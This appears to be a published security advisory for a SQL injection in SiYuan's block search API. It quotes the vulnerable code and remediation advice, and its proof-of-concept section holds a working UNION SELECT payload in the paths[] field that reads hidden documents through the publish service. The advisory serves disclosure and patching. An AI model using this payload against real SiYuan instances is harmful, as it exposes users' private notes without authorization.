Skip to content

GHSA-h89q-4j2h-7h88 CVE-2026-59834 GO-2026-6353

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.48%
Chance of exploitation in the next 30 days. Higher than 41.65% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Fix
0.0.0-20260704035518-d0f0fe146fb0
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.

An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.

Affected Code

The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Code = -1
    ret.Msg = "SQL search requires administrator privileges"
    return
}

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

Source: input/siyuan/kernel/api/search.go

paths[] is parsed into notebook IDs and paths without SQL escaping or validation:

path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
    boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
    paths = append(paths, path)
}

Source: input/siyuan/kernel/api/search.go

Those values are then concatenated directly into SQL:

builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))

Source: input/siyuan/kernel/model/search.go

Regexp search executes the resulting statement:

stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)

Source: input/siyuan/kernel/model/search.go

The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:

for _, block := range blocks {
    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
        ret = append(ret, block)
    }
}

Source: input/siyuan/kernel/model/publish_access.go

Attack Scenario

  1. A Siyuan instance enables the publish service.
  2. At least one document is visible to publish visitors.
  3. At least one document is hidden from publish visitors.
  4. The attacker sends a crafted paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.
  5. The injected SQL selects content from the hidden document while projecting the visible document's box and path.
  6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.

Proof of Concept

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}

VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.

Validation

Setup:

  • Started b3log/siyuan:latest with an isolated temporary workspace.
  • Created one notebook.
  • Created a visible document containing public apple marker.
  • Created a hidden document containing SECRET-LIVE-SQLI-20260609 apple marker.
  • Marked the hidden document invisible with POST /api/filetree/setPublishAccess.
  • Enabled publish mode with POST /api/setting/setPublish.
  • Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.

Control request through the publish service for the hidden marker returned no blocks:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [],
    "docMode": false,
    "matchedBlockCount": 1,
    "matchedRootCount": 1,
    "pageCount": 1
  }
}

The injected request through the publish service returned the hidden block:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [
      {
        "box": "20260609095146-19hud1e",
        "path": "/20260609095209-1ljs6o7.sy",
        "hPath": "/HiddenDoc",
        "id": "20260609095209-gttlrue",
        "rootID": "20260609095209-yaz7i3h",
        "parentID": "20260609095209-yaz7i3h",
        "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
        "markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
        "type": "NodeParagraph"
      }
    ],
    "docMode": false,
    "matchedBlockCount": 0,
    "matchedRootCount": 0,
    "pageCount": 0
  }
}

The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.

Impact

An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.

Remediation

Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:

box = ?
path LIKE ?

Then pass the user-controlled notebook ID and path prefix as query arguments.

Additional hardening:

  • Validate notebook IDs before query construction.
  • Validate document paths against Siyuan's normalized .sy path format.
  • Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
  • Add regression tests for publish reader-role requests where paths[] contains SQL metacharacters such as ', ), UNION, and --.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260704035518-d0f0fe146fb0
0.0.0-20260704035518-d0f0fe146fb0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260704035518-d0f0fe146fb0

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260704035518-d0f0fe146fb0 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor